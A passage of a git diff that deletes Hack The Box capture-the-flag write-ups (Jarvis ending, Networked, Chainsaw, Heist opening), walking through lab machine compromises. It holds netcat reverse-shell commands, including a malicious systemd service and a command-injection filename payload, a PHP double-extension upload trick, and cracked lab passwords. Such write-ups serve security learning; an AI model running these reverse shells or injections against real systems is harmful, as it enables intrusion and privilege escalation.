0.0.0.0:5555 -Ncat: Connection from 10.10.10.143. -Ncat: Connection from 10.10.10.143:38924. -id -uid=1000(pepper) gid=1000(pepper) groups=1000(pepper) -python -c 'import pty;pty.spawn("/bin/bash")' -pepper@jarvis:/var/www$ cd -cd -pepper@jarvis:~$ ls -ls -Web user.txt -pepper@jarvis:~$ cat user.txt -2afa36c... -``` - -### Privesc - -Looking at SUID binaries, the `systemctl` program stands out since it's not normally SUID: - -``` -pepper@jarvis:~$ find / -perm /4000 2>/dev/null -[...] -/bin/systemctl -[...] -``` - -The group has been changed to `pepper` so this is likely our next target: - -``` -pepper@jarvis:~$ ls -l /bin/systemctl --rwsr-x--- 1 root pepper 174520 Feb 17 03:22 /bin/systemctl -``` - -Because we can run `systemctl` as root, we can register new services that get executed as whatever user we want. Getting root access is simple since all we need to do is register a new service that's spawn another reverse shell. I'll just create `/dev/shm/pwn.service`: - -``` -[Unit] -Description=Pwn service - -[Service] -ExecStart=/bin/nc -e /bin/bash 10.10.14.5 7777 - -[Install] -WantedBy=multi-user.target -``` - -Then register the new service and start it: - -``` -pepper@jarvis:/dev/shm$ systemctl enable /dev/shm/pwn.service -Created symlink /etc/systemd/system/multi-user.target.wants/pwn.service -> /dev/shm/pwn.service. -Created symlink /etc/systemd/system/pwn.service -> /dev/shm/pwn.service. -pepper@jarvis:/dev/shm$ systemctl start pwn -``` - -We then get a reverse shell as root: - -``` -# nc -lvnp 7777 -Ncat: Version 7.70 ( https://nmap.org/ncat ) -Ncat: Listening on :::7777 -Ncat: Listening on 0.0.0.0:7777 -Ncat: Connection from 10.10.10.143. -Ncat: Connection from 10.10.10.143:48144. -id -uid=0(root) gid=0(root) groups=0(root) -cat /root/root.txt -d41d8cd... -``` \ No newline at end of file diff --git a/_posts/2019-11-16-htb-writeup-networked.md b/_posts/2019-11-16-htb-writeup-networked.md deleted file mode 100644 index a7f309fc9e..0000000000 --- a/_posts/2019-11-16-htb-writeup-networked.md +++ /dev/null @@ -1,261 +0,0 @@ ---- -layout: single -title: Networked - Hack The Box -excerpt: "Networked was an easy box that starts off with a classic insecure upload vulnerability in an image gallery web application. The Apache server is misconfigured and let me use a double extension to get remote code execution through my PHP script. To escalate to root, we have to find a command injection vulnerability in the script that checks for web application attacks, then exploit another script running as root that changes the ifcfg file." -date: 2019-11-16 -classes: wide -header: - teaser: /assets/images/htb-writeup-networked/networked_logo.png - teaser_home_page: true - icon: /assets/images/hackthebox.webp -categories: - - hackthebox - - infosec -tags: - - linux - - php - - upload - - double extension - - cronjob - - command injection - - sudo ---- - -![](/assets/images/htb-writeup-networked/networked_logo.png) - -Networked was an easy box that starts off with a classic insecure upload vulnerability in an image gallery web application. The Apache server is misconfigured and let me use a double extension to get remote code execution through my PHP script. To escalate to root, we have to find a command injection vulnerability in the script that checks for web application attacks, then exploit another script running as root that changes the ifcfg file. - -## Summary - -- We can upload a PHP file with a double extension in the image gallery web application and get RCE -- To escalate to user user `guly` I use a command injection vulnerability in the `check_attack.php` script -- There's another command injection vulnerability in the `changename.sh` script that get me a root shell - -``` -root@kali:~# nmap -sC -sV -p- 10.10.10.146 -Starting Nmap 7.70 ( https://nmap.org ) at 2019-08-25 13:51 EDT -Nmap scan report for 10.10.10.146 -Host is up (0.17s latency). -Not shown: 65532 filtered ports -PORT STATE SERVICE VERSION -22/tcp open ssh OpenSSH 7.4 (protocol 2.0) -| ssh-hostkey: -| 2048 22:75:d7:a7:4f:81:a7:af:52:66:e5:27:44:b1:01:5b (RSA) -| 256 2d:63:28:fc:a2:99:c7:d4:35:b9:45:9a:4b:38:f9:c8 (ECDSA) -|_ 256 73:cd:a0:5b:84:10:7d:a7:1c:7c:61:1d:f5:54:cf:c4 (ED25519) -80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16) -|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16 -|_http-title: Site doesn't have a title (text/html; charset=UTF-8). -443/tcp closed https -``` - -### Website enumeration - -The website index page doesn't have anything interesting. - -![](/assets/images/htb-writeup-networked/Screenshot_1.png) - -In the HTML code there's a comment about some pages not being linked. - -![](/assets/images/htb-writeup-networked/Screenshot_2.png) - -I'm gonna use gobuster next and scan for files and directories. - -![](/assets/images/htb-writeup-networked/Screenshot_3.png) - -There's a couple of files in there that looks promising. Luckily for me, there's a `backup.tar` file in the `/backup` directory that contains the sources files: - -``` -root@kali:~/htb/networked# tar xvf backup.tar -index.php -lib.php -photos.php -upload.php -``` - -The `/photos.php` contains an image gallery: - -![](/assets/images/htb-writeup-networked/Screenshot_5.png) - -The `/upload.php` page is used to upload new images to the gallery: - -![](/assets/images/htb-writeup-networked/Screenshot_6.png) - -When I upload an image, I get the following message then the picture is added in the gallery. Note that the image file name is renamed to the IP addres of my own machine, with dots replaced by underscores. - -![](/assets/images/htb-writeup-networked/Screenshot_8.png) - -![](/assets/images/htb-writeup-networked/Screenshot_9.png) - -When I try to upload a PHP script, I get an error message so there is some kind of validation performed on uploaded files: - -![](/assets/images/htb-writeup-networked/Screenshot_7.png) - -### Hunting for vulnerabilities in the source code - -Looking at the `upload.php` file, I pick up a few checks that the code makes against my uploaded file: - -1. The filesize must less than 60,000 bytes -![](/assets/images/htb-writeup-networked/code1.png) - -2. The extension of the uploaded file must be one of the following: `.jpg, .png, .gif, .jpeg` -![](/assets/images/htb-writeup-networked/code2.png) - -3. The MIME type of the uploaded file must start with `image/` (the code below in from `lib.php`) -![](/assets/images/htb-writeup-networked/code3.png) - -Note that the `file_mime_type` function uses `finfo_open` to return the MIME type so it'll look at the content of the file to determine it's MIME type. I can't just override the MIME type with `Content-Type: image/png` in Burp. - -I'll use my previous valid image file upload and add PHP code at the bottom of the payload and change the extension to `.php.png` to pass the checks: - -![](/assets/images/htb-writeup-networked/code5.png) - -File upload is successful and I see the uploaded file in the gallery (filename has been changed to the IP address but the double extension has been kept): - -![](/assets/images/htb-writeup-networked/code6.png) - -Browsing to `http://10.10.10.146/uploads/10_10_14_11.php.png` I see that my PHP code embedded in the image file has been executed. - -![](/assets/images/htb-writeup-networked/code7.png) - -Later once I got root I found out why the webserver executes the image file as PHP even though the extension is `.png`. The Apache configuration uses the `AddHandler php5-script .php` statement instead of `SetHandler` so it will activate the handler if the `.php` suffix is present anywhere in the filename. The following blog explains this in more details: [https://blog.remirepo.net/post/2013/01/13/PHP-and-Apache-SetHandler-vs-AddHandler](https://blog.remirepo.net/post/2013/01/13/PHP-and-Apache-SetHandler-vs-AddHandler) - -## Getting a shell as user apache - -Now that I have RCE, I can call netcat and get a reverse shell that way. - -![](/assets/images/htb-writeup-networked/shell1.png) - -![](/assets/images/htb-writeup-networked/shell2.png) - -Unfortunately my current `apache` user doesn't have access to read `user.txt` so I likely need to escalate to user `guly` next. - -``` -bash-4.2$ cd /home/guly -bash-4.2$ ls -la -total 28 -drwxr-xr-x. 2 guly guly 159 Jul 9 13:40 . -drwxr-xr-x. 3 root root 18 Jul 2 13:27 .. -lrwxrwxrwx. 1 root root 9 Jul 2 13:35 .bash_history -> /dev/null --rw-r--r--. 1 guly guly 18 Oct 30 2018 .bash_logout --rw-r--r--. 1 guly guly 193 Oct 30 2018 .bash_profile --rw-r--r--. 1 guly guly 231 Oct 30 2018 .bashrc --rw------- 1 guly guly 639 Jul 9 13:40 .viminfo --r--r--r--. 1 root root 782 Oct 30 2018 check_attack.php --rw-r--r-- 1 root root 44 Oct 30 2018 crontab.guly --r--------. 1 guly guly 33 Oct 30 2018 user.txt -``` - -There's a crontab file `crontab.guly` that contains the following: - -``` -*/3 * * * * php /home/guly/check_attack.php -``` - -The crontab executes `check_attack.php` which I also have read access to: - -```php - $value) { - $msg=''; - if ($value == 'index.html') { - continue; - } - #echo "-------------\n"; - - #print "check: $value\n"; - list ($name,$ext) = getnameCheck($value); - $check = check_ip($name,$value); - - if (!($check[0])) { - echo "attack!\n"; - # todo: attach file - file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX); - - exec("rm -f $logpath"); - exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &"); - echo "rm -f $path$value\n"; - mail($to, $msg, $msg, $headers, "-F$value"); - } -} -``` - -The above code looks for files in `/var/www/html/uploads/` then runs the `getnameCheck` function from `lib.php` against the filename. When the filename fails the check, a logfile `/tmp/attack.log` is created and `$msg` is written to the file. `$msg` is set to null in the code so nothing will ever get written to that log file. The code then deletes any file that is invalid using `exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");`. This is where the command injection vulnerability lies. - -The script uses the `exec()` function to pass the `/bin/rm` command instead of using of the native PHP function to delete files. The `$path` variable is set in the code and I can't control it but I can control the `$value` variable since it's the same of the invalid file in `/var/www/html/uploads/`. My goal here is to inject a command like the following: `nohup /bin/rm -f /var/www/html/uploads/; nc -e /bin/bash 10.10.14.11 5555 > /dev/null 2>&1 &`. - -I would need to create a filename like `; nc -e /bin/bash 10.10.14.11 5555` but forward slashes are not valid in a filename so I will use `$(which bash)` instead to return the full path to bash. - -![](/assets/images/htb-writeup-networked/escalate1.png) - -A few moments later I get a shell as `guly` and I get the first flag: - -![](/assets/images/htb-writeup-networked/escalate2.png) - -## Privesc - -The path to root is pretty obvious since there's a sudo entry for `changename.sh` - -```console -[guly@networked ~]$ sudo -l -Matching Defaults entries for guly on networked: - !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, - env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", - env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", - env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", - env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", - env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY", - secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin - -User guly may run the following commands on networked: - (root) NOPASSWD: /usr/local/sbin/changename.sh -[guly@networked ~]$ -``` - -The shell script requests a few variable from stdin, adds those to `/etc/sysconfig/network-scripts/ifcfg-guly` and then `ifup` is invoked to bring up the interface. There's a regex filter in place to filter special characters. - -```sh -#!/bin/bash -p -cat > /etc/sysconfig/network-scripts/ifcfg-guly << EoF -DEVICE=guly0 -ONBOOT=no -NM_CONTROLLED=no -EoF - -regexp="^[a-zA-Z0-9_\ /-]+$" - -for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do - echo "interface $var:" - read x - while [[ ! $x =~ $regexp ]]; do - echo "wrong input, try again" - echo "interface $var:" - read x - done - echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly -done - -/sbin/ifup guly0 -``` - -After playing with the input for a few minutes I found that I can get RCE as root by adding commands after a space: - -![](/assets/images/htb-writeup-networked/privesc1.png) - -I can't invoke netcat directly because the hypen character is filtered out. However I can put the command I want to execute in a script that I will call through the sudo command. - -![](/assets/images/htb-writeup-networked/privesc2.png) - -And... I get a shell as root: - -![](/assets/images/htb-writeup-networked/privesc3.png) diff --git a/_posts/2019-11-23-htb-writeup-chainsaw.md b/_posts/2019-11-23-htb-writeup-chainsaw.md deleted file mode 100644 index 99dae5066f..0000000000 --- a/_posts/2019-11-23-htb-writeup-chainsaw.md +++ /dev/null @@ -1,399 +0,0 @@ ---- -layout: single -title: Chainsaw - Hack The Box -excerpt: "I learned a bit about Ethereum and smart contracts while doing the Chainsaw box from Hack the Box. There's a command injection vulnerability in a smart contract that gives me a shell. Then after doing some googling on IPFS filesystem, I find an encrypted SSH key for another user which I can crack. To get root access I use another smart contract to change the password used by a SUID binary running as root, then find the flag hidden in the slack space for root.txt" -date: 2019-11-23 -classes: wide -header: - teaser: /assets/images/htb-writeup-chainsaw/chainsaw_logo.png - teaser_home_page: true - icon: /assets/images/hackthebox.webp -categories: - - hackthebox - - infosec -tags: - - linux - - smart contract - - ethereum - - ipfs - - suid - - hidden - - bmap - - command injection ---- - -![](/assets/images/htb-writeup-chainsaw/chainsaw_logo.png) - -I learned a bit about Ethereum and smart contracts while doing the Chainsaw box from Hack the Box. There's a command injection vulnerability in a smart contract that gives me a shell. Then after doing some googling on IPFS filesystem, I find an encrypted SSH key for another user which I can crack. To get root access I use another smart contract to change the password used by a SUID binary running as root, then find the flag hidden in the slack space for root.txt - -## Summary - -- Find a smart contract source code and address located on the FTP server -- The contract contains a command injection vulnerability that get us RCE and a shell on the system -- There is an IPFS filesystem on the box and we find an encrypted SSH key for user bobby -- After cracking the key we can log in as user bobby and get the user flag -- We then find a SUID binary and another smart contract running on a separate instance of ganache-cli -- By using the contract we can change the password and then get root access through the SUID binary -- The root.txt file doesn't contain the system flag but a hint that we need to keep looking further -- I found the flag using bmap to look at the slack space in root.txt - -## Portscan - -``` -# nmap -p- 10.10.10.142 -Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-16 21:26 EDT -Nmap scan report for chainsaw.htb (10.10.10.142) -Host is up (0.021s latency). -Not shown: 65532 closed ports -PORT STATE SERVICE -21/tcp open ftp -22/tcp open ssh -9810/tcp open unknown -``` - -## FTP server - -Anonymous access is allowed on the FTP server and there's a few files I can download. - -``` -# ftp 10.10.10.142 -Connected to 10.10.10.142. -220 (vsFTPd 3.0.3) -Name (10.10.10.142:root): anonymous -331 Please specify the password. -Password: -230 Login successful. -Remote system type is UNIX. -Using binary mode to transfer files. -ftp> ls -200 PORT command successful. Consider using PASV. -150 Here comes the directory listing. --rw-r--r-- 1 1001 1001 23828 Dec 05 2018 WeaponizedPing.json --rw-r--r-- 1 1001 1001 243 Dec 12 2018 WeaponizedPing.sol --rw-r--r-- 1 1001 1001 44 Jun 16 21:30 address.txt -226 Directory send OK. -ftp> -``` - -## Ethereum smart contract #1 - -The `address.txt` file contains an Ethereum checksumed address: - -``` -0xCeC270D64E45aDc8C6057C764f13448d500de096 -``` - -The `WeaponizedPing.sol` file contains the source code of a smart contract. The contract itself doesn't seem to do much: you can only get/set the domain variable. - -``` -pragma solidity ^0.4.24; - -contract WeaponizedPing -{ - string store = "google.com"; - - function getDomain() public view returns (string) - { - return store; - } - - function setDomain(string _value) public - { - store = _value; - } -} -``` - -The `WeaponizedPing.json` file has a bunch of information, including the source code, the transactionHash and the compiler used to compile the program. - -``` -"source": "pragma solidity ^0.4.24;\n\n\ncontract WeaponizedPing {\n\n ... - "sourcePath": "/opt/WeaponizedPing/WeaponizedPing.sol", - "ast": { - "absolutePath": "/opt/WeaponizedPing/WeaponizedPing.sol", - "exportedSymbols": { - "WeaponizedPing": [ - 80 - -... -"compiler": { - "name": "solc", - "version": "0.4.24+commit.e67f0147.Emscripten.clang" - }, - "networks": { - "1543936419890": { - "events": {}, - "links": {}, - "address": "0xaf6ce61d342b48cc992820a154fe0f533e5e487c", - "transactionHash": "0x5e94c662f1048fca58c07e16506f1636391f757b07c1b6bb6fbb4380769e99e1" - } - }, - "schemaVersion": "2.0.1", - "updatedAt": "2018-12-04T15:24:57.205Z" -``` - -To compile and play with the smart contract I used [http://remix.ethereum.org/](http://remix.ethereum.org/) which has a JavaScript VM to run the compiled code. The service running on port 9810 is probably a Web3 service so I configured Remix's environment to use the Web3 service running on the box. - -![](/assets/images/htb-writeup-chainsaw/1.png) - -I opened the source file I downloaded from the server: - -![](/assets/images/htb-writeup-chainsaw/2.png) - -Then I selected the same compiler version specified in the JSON file: - -![](/assets/images/htb-writeup-chainsaw/3.png) - -There's a few warnings after compiling but they are probably safe to ignore: - -![](/assets/images/htb-writeup-chainsaw/4.png) - -Once we have the file compiled we can deploy a new contract or use an existing one if we know the address. Here, we have an address from `address.txt`: `0xCeC270D64E45aDc8C6057C764f13448d500de096`. Once I enter the address, I can see the deployed contract and get the domain assigned to the contract: - -![](/assets/images/htb-writeup-chainsaw/5.png) - -The name `WeaponizedPing` is a hint. When we set a domain then do a `getDomain` on it, the box does a ping back to the IP specified: - -![](/assets/images/htb-writeup-chainsaw/6.png) - -![](/assets/images/htb-writeup-chainsaw/7.png) - -There is a simple command injection in the code that pings the domain/IP and we can execute other commands such as `nc` to get a reverse shell: - -![](/assets/images/htb-writeup-chainsaw/8.png) - -![](/assets/images/htb-writeup-chainsaw/9.png) - -After getting the reverse shell I dropped my SSH public key into the `/home/administrator/.ssh/authorized_keys` file so I can log in directly. - -## InterPlanetary File System - -The `/home/administrator` directory contains a CSV file `chainsaw-emp.csv` with the list of employees. - -``` -Employees,Active,Position -arti@chainsaw,No,Network Engineer -bryan@chainsaw,No,Java Developer -bobby@chainsaw,Yes,Smart Contract Auditor -lara@chainsaw,No,Social Media Manager -wendy@chainsaw,No,Mobile Application Developer -``` - -The `bobby` user is the only active user according to the CSV and is also the only user that has a valid login shell and a home directory: - -``` -bobby:x:1000:1000:Bobby Axelrod:/home/bobby:/bin/bash -administrator:x:1001:1001:Chuck Rhoades,,,,IT Administrator:/home/administrator:/bin/bash -arti:x:997:996::/home/arti:/bin/false -lara:x:996:995::/home/lara:/bin/false -bryan:x:995:994::/home/bryan:/bin/false -wendy:x:994:993::/home/wendy:/bin/false -[...] -administrator@chainsaw:~$ ls -l /home -total 8 -drwxr-x--- 10 administrator administrator 4096 Jun 16 21:55 administrator -drwxr-x--- 9 bobby bobby 4096 Jan 23 09:03 bobby -``` - -The `/home/administrator/maintain` directory has a python script that generates OpenSSL private/public keys. - -![](/assets/images/htb-writeup-chainsaw/10.png) - -The sub-directory `pub` contains the public keys for a few users including `bobby`: - -``` -administrator@chainsaw:~/maintain/pub$ ls -l -total 20 --rw-rw-r-- 1 administrator administrator 380 Dec 13 2018 arti.key.pub --rw-rw-r-- 1 administrator administrator 380 Dec 13 2018 bobby.key.pub --rw-rw-r-- 1 administrator administrator 380 Dec 13 2018 bryan.key.pub --rw-rw-r-- 1 administrator administrator 380 Dec 13 2018 lara.key.pub --rw-rw-r-- 1 administrator administrator 380 Dec 13 2018 wendy.key.pub -``` - -I noticed that there is an `.ipfs` directory inside the `administrator` home directory: - -``` -administrator@chainsaw:~$ ls -l .ipfs -total 28 -drwxr-xr-x 41 administrator administrator 4096 Jan 23 09:27 blocks --rw-rw---- 1 administrator administrator 5273 Dec 13 2018 config -drwxr-xr-x 2 administrator administrator 4096 Jan 23 09:27 datastore --rw------- 1 administrator administrator 190 Dec 13 2018 datastore_spec -drwx------ 2 administrator administrator 4096 Dec 13 2018 keystore --rw-r--r-- 1 administrator administrator 2 Dec 13 2018 version -``` - -I didn't know what IPFS was so I did some research and found that it's [https://ipfs.io/](https://ipfs.io/), a distributed file-system. - -To see the files that are uploaded to the file system, I used: - -``` -administrator@chainsaw:~/.ipfs$ ipfs refs local -QmYCvbfNbCwFR45HiNP45rwJgvatpiW38D961L5qAhUM5Y -QmPctBY8tq2TpPufHuQUbe2sCxoy2wD5YRB6kdce35ZwAx -QmfFUFGiPQA5Wr9tM7K6A6VRCkem6KqssgcwQGgStRWvf7 -QmbwWcNc7TZBUDFzwW7eUTAyLE2hhwhHiTXqempi1CgUwB -QmdL9t1YP99v4a2wyXFYAQJtbD9zKnPrugFLQWXBXb82sn -[...] -QmPhk6cJkRcFfZCdYam4c9MKYjFG9V29LswUnbrFNhtk2S -QmYd1CX2vwxb5npkm4r597zJkqhpqy4k82Np48FS8F6bAv -QmSyJKw6U6NaXupYqMLbEbpCdsaYR5qiNGRHjLKcmZV17r -QmZZRTyhDpL5Jgift1cHbAhexeE1m2Hw8x8g7rTcPahDvo -QmUH2FceqvTSAvn6oqm8M49TNDqowktkEx4LgpBx746HRS -``` - -Then I dumped the content of everything into a single big file: - -``` -ipfs cat QmYCvbfNbCwFR45HiNP45rwJgvatpiW38D961L5qAhUM5Y >> out.txt -ipfs cat QmPctBY8tq2TpPufHuQUbe2sCxoy2wD5YRB6kdce35ZwAx >> out.txt -ipfs cat QmfFUFGiPQA5Wr9tM7K6A6VRCkem6KqssgcwQGgStRWvf7 >> out.txt -ipfs cat QmbwWcNc7TZBUDFzwW7eUTAyLE2hhwhHiTXqempi1CgUwB >> out.txt -ipfs cat QmdL9t1YP99v4a2wyXFYAQJtbD9zKnPrugFLQWXBXb82sn >> out.txt -[...] -ipfs cat QmZZRTyhDpL5Jgift1cHbAhexeE1m2Hw8x8g7rTcPahDvo >> out.txt -ipfs cat QmUH2FceqvTSAvn6oqm8M49TNDqowktkEx4LgpBx746HRS >> out.txt -ipfs cat QmcMCDdN1qDaa2vaN654nA4Jzr6Zv9yGSBjKPk26iFJJ4M >> out.txt -ipfs cat QmPZ9gcCEpqKTo6aq61g2nXGUhM4iCL3ewB6LDXZCtioEB >> out.txt -ipfs cat Qmc7rLAhEh17UpguAsEyS4yfmAbeqSeSEz4mZZRNcW52vV >> out.txt -``` - -I found an email for user `bobby`: - -![](/assets/images/htb-writeup-chainsaw/11.png) - -I base64 decoded the message: - -![](/assets/images/htb-writeup-chainsaw/12.png) - -There's an attachment in the email with an SSH private key: `bobby.key.enc` - -![](/assets/images/htb-writeup-chainsaw/13.png) - -![](/assets/images/htb-writeup-chainsaw/14.png) - -The key is encrypted but the password is found in `rockyou.txt`: - -![](/assets/images/htb-writeup-chainsaw/15.png) - -Now we can log in as `bobby` with the SSH key: - -``` -root@ragingunicorn:~/htb/chainsaw# ssh -i bobby.key bobby@10.10.10.142 -Enter passphrase for key 'bobby.key': -bobby@chainsaw:~$ cat user.txt -af8d9df9... -``` - -## Ethereum smart contract #2 - -The `/home/bobby/projects/ChainsawClub` directory has another smart contract `ChainsawClub.sol`: - -``` -pragma solidity ^0.4.22; - -contract ChainsawClub { - - string username = 'nobody'; - string password = '7b455ca1ffcb9f3828cfdde4a396139e'; - bool approve = false; - uint totalSupply = 1000; - uint userBalance = 0; - - function getUsername() public view returns (string) { - return username; - } - function setUsername(string _value) public { - username = _value; - } - function getPassword() public view returns (string) { - return password; - } - function setPassword(string _value) public { - password = _value; - } - function getApprove() public view returns (bool) { - return approve; - } - function setApprove(bool _value) public { - approve = _value; - } - function getSupply() public view returns (uint) { - return totalSupply; - } - function getBalance() public view returns (uint) { - return userBalance; - } - function transfer(uint _value) public { - if (_value > 0 && _value <= totalSupply) { - totalSupply -= _value; - userBalance += _value; - } - } - function reset() public { - username = ''; - password = ''; - userBalance = 0; - totalSupply = 1000; - approve = false; - } -} -``` - -The `ChainsawClub` binary is SUID so this is likely our target: - -``` -$ ls -l -total 148 --rwsr-xr-x 1 root root 16544 Jan 12 04:23 ChainsawClub -``` - -The program requires credentials to log in. - -![](/assets/images/htb-writeup-chainsaw/17.png) - -I tried using `nobody` and `7b455ca1ffcb9f3828cfdde4a396139e` that I found in the source but that didn't work. The password looks like an MD5 hash but I couldn't crack it either. - -I saw that an `address.txt` file is created when I first launch the program. - -``` -bobby@chainsaw:~/projects/ChainsawClub$ cat address.txt -0x8DDa7ee0dA4DfCF6b26b64c1B89A3a1F9e76EAB6 -``` - -I disassembled the binary with Ghidra to see how it works and saw that it simply executes another binary from root's home directory. I don't have access to root yet so I can't disassemble the `/root/ChainsawClub/dist/ChainsawClub/ChainsawClub` file. - -![](/assets/images/htb-writeup-chainsaw/16.png) - -The program is probably looking at the contract to get the username and password. I have the address so I should be able to invoke the `setUsername` and `setPassword` methods to change the credentials and then log in. I compiled the contract and pointed it at the address `0xCeC270D64E45aDc8C6057C764f13448d500de096` from the `address.txt` but I wasn't able to pull any data from it. It probably doesn't exist in the blockchain. - -![](/assets/images/htb-writeup-chainsaw/18.png) - -After looking around the system for a while, I found a 2nd instance of ganache-cli running locally on port 63991. I port forwarded 63991 using SSH so I could access it from Remix and found that the contract is working and I can pull data from it: - -![](/assets/images/htb-writeup-chainsaw/19.png) - -![](/assets/images/htb-writeup-chainsaw/20.png) - -![](/assets/images/htb-writeup-chainsaw/21.png) - -I changed the password to the MD5 value of `yolo1234` and changed to approval status to `true`: - -![](/assets/images/htb-writeup-chainsaw/22.png) - -I tried logging in but I need funds - -![](/assets/images/htb-writeup-chainsaw/23.png) - -I used the `transfer` method to add 1000 ether then I was able to log in: - -![](/assets/images/htb-writeup-chainsaw/24.png) - -Looks like I'm root but there's one more step left: - -![](/assets/images/htb-writeup-chainsaw/25.png) - -I found the flag hidden in the slack space of the `root.txt` file. I used the `bmap` utility already installed on the system. - -![](/assets/images/htb-writeup-chainsaw/26.png) diff --git a/_posts/2019-11-30-htb-writeup-heist.md b/_posts/2019-11-30-htb-writeup-heist.md deleted file mode 100644 index ac1aa26caf..0000000000 --- a/_posts/2019-11-30-htb-writeup-heist.md +++ /dev/null @@ -1,230 +0,0 @@ ---- -layout: single -title: Heist - Hack The Box -excerpt: "Heist starts off with a support page with a username and a Cisco IOS config file containing hashed & encrypted passwords. After cracking two passwords from the config file and getting access to RPC on the Windows machine, I find additional usernames by RID cycling and then password spray to find a user that has WinRM access. Once I have a shell, I discover a running Firefox process and dump its memory to disk so I can do some expert-level forensics (ie: running `strings`) to find the administrator password." -date: 2019-11-30 -classes: wide -header: - teaser: /assets/images/htb-writeup-heist/heist_logo.png - teaser_home_page: true - icon: /assets/images/hackthebox.webp -categories: - - hackthebox - - infosec -tags: - - linux - - cisco - - hashes - - creds spray - - rpcclient - - winrm - - procdump - - memory forensics ---- - -![](/assets/images/htb-writeup-heist/heist_logo.png) - -Heist starts off with a support page with a username and a Cisco IOS config file containing hashed & encrypted passwords. After cracking two passwords from the config file and getting access to RPC on the Windows machine, I find additional usernames by RID cycling and then password spray to find a user that has WinRM access. Once I have a shell, I discover a running Firefox process and dump its memory to disk so I can do some expert-level forensics (ie: running `strings`) to find the administrator password. - -## Summary - -- The admin page has guest access enabled and we can find a Cisco IOS configuration file on there -- After cracking the three passwords from the config file, we are able to use rpcclient with one of the account to recover the list of usernames -- Then we password spray the credentials we have and find that user `chase` can log in with WinRM -- There's a Firefox process already running on the box and we can obtain a memory dump from it -- We find the administrator credentials in one of the browser request still in memory - -## Portscan - -``` -root@kali:~/htb/heist# nmap -sC -sV -p- -oA heist 10.10.10.149 -Starting Nmap 7.70 ( https://nmap.org ) at 2019-08-10 20:39 EDT -Nmap scan report for heist.htb (10.10.10.149) -Host is up (0.0065s latency). -Not shown: 65530 filtered ports -PORT STATE SERVICE VERSION -80/tcp open http Microsoft IIS httpd 10.0 -| http-cookie-flags: -| /: -| PHPSESSID: -|_ httponly flag not set -| http-methods: -|_ Potentially risky methods: TRACE -|_http-server-header: Microsoft-IIS/10.0 -| http-title: Support Login Page -|_Requested resource was login.php -135/tcp open msrpc Microsoft Windows RPC -445/tcp open microsoft-ds? -5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) -|_http-server-header: Microsoft-HTTPAPI/2.0 -|_http-title: Not Found -49668/tcp open msrpc Microsoft Windows RPC -Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows - -Host script results: -|_clock-skew: mean: -3m38s, deviation: 0s, median: -3m38s -| smb2-security-mode: -| 2.02: -|_ Message signing enabled but not required -| smb2-time: -| date: 2019-08-10 20:38:41 -|_ start_date: N/A - -Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . -Nmap done: 1 IP address (1 host up) scanned in 199.09 seconds -``` - -## Website - -The webpage has a simple login page with an option to log in as guest at the bottom: - -![](/assets/images/htb-writeup-heist/webpage1.png) - -After logging in as guest, I find a Cisco configuration in the opened trouble tickets. I also make note of the `Hazard` username, this will be useful later. - -![](/assets/images/htb-writeup-heist/webpage2.png) - -![](/assets/images/htb-writeup-heist/config.png) - -## Cracking some credentials - -The Cisco IOS configuration file here has two different types of password hashes. Cisco uses various hash algorithms across different products and software versions. The old password encryption type is called Type 7 encryption and has been known to be extremely weak for about 20+ years now. I still see this being used in production environments every week even though it doesn't provide any real security (it's akin to just base64 encoding your passwords in your configs, it's trivial to recover the plaintext). - -For the two usernames, the Type 7 passwords can be reversed with any of the many Type 7 reversing tools available such as [https://packetlife.net/toolbox/type7/](https://packetlife.net/toolbox/type7/). - - rout3r / $uperP@ssword - - admin / Q4)sJu\Y8qz*A3?d - -The enable password uses the Type 5 encryption which is just a salted MD5 hash. Again, these should be avoided whenever possible since they can be cracked pretty quickly using a GPU. Using Type 8 (PBKDF2) or Type 9 provides more security since it takes longer to crack. - -With John, I'm quickly able to crack the password with the rockyou.txt list: - -``` -root@kali:~/htb/heist# john -w=/usr/share/wordlists/rockyou.txt hash.txt -Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long" -Use the "--format=md5crypt-long" option to force loading these as that type instead -Using default input encoding: UTF-8 -Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 128/128 AVX 4x3]) -Will run 4 OpenMP threads -Press 'q' or Ctrl-C to abort, almost any other key for status -stealth1agent (?) -``` - -## User enumeration with RPC client - -I'll create `user.txt` and add the potential usernames that I have so far (`admin`, `administrator` and `hazard`) then do the same with passwords in `pass.txt`. To test all credentials, I use `crackmapexec`: - -![](/assets/images/htb-writeup-heist/cme1.png) - -I found one valid account: `hazard:stealth1agent` - -Scanning with `smbmap` I don't find any open shares that this user has access to: - -``` -root@kali:~/htb/heist# smbmap -u hazard -p stealth1agent -H 10.10.10.149 -[+] Finding open SMB ports.... -[+] User SMB session establishd on 10.10.10.149... -[+] IP: 10.10.10.149:445 Name: heist.htb - Disk Permissions - ---- ----------- - ADMIN$ NO ACCESS - C$ NO ACCESS - IPC$ READ ONLY -``` - -With `rpcclient` I can connect and query the SID for the `hazard` user: - -``` -root@kali:~/htb/heist# rpcclient -U hazard 10.10.10.149 -Enter WORKGROUP\hazard's password: - -rpcclient $> lookupnames hazard -hazard S-1-5-21-4254423774-1266059056-3197185112-1008 (User: 1) -``` - -I can enumerate the list of users with `lookupsids` by changing the last digit of the SID - -![](/assets/images/htb-writeup-heist/sids.png) - -I got two additional users: `chase` and `jason` - -## Logging in 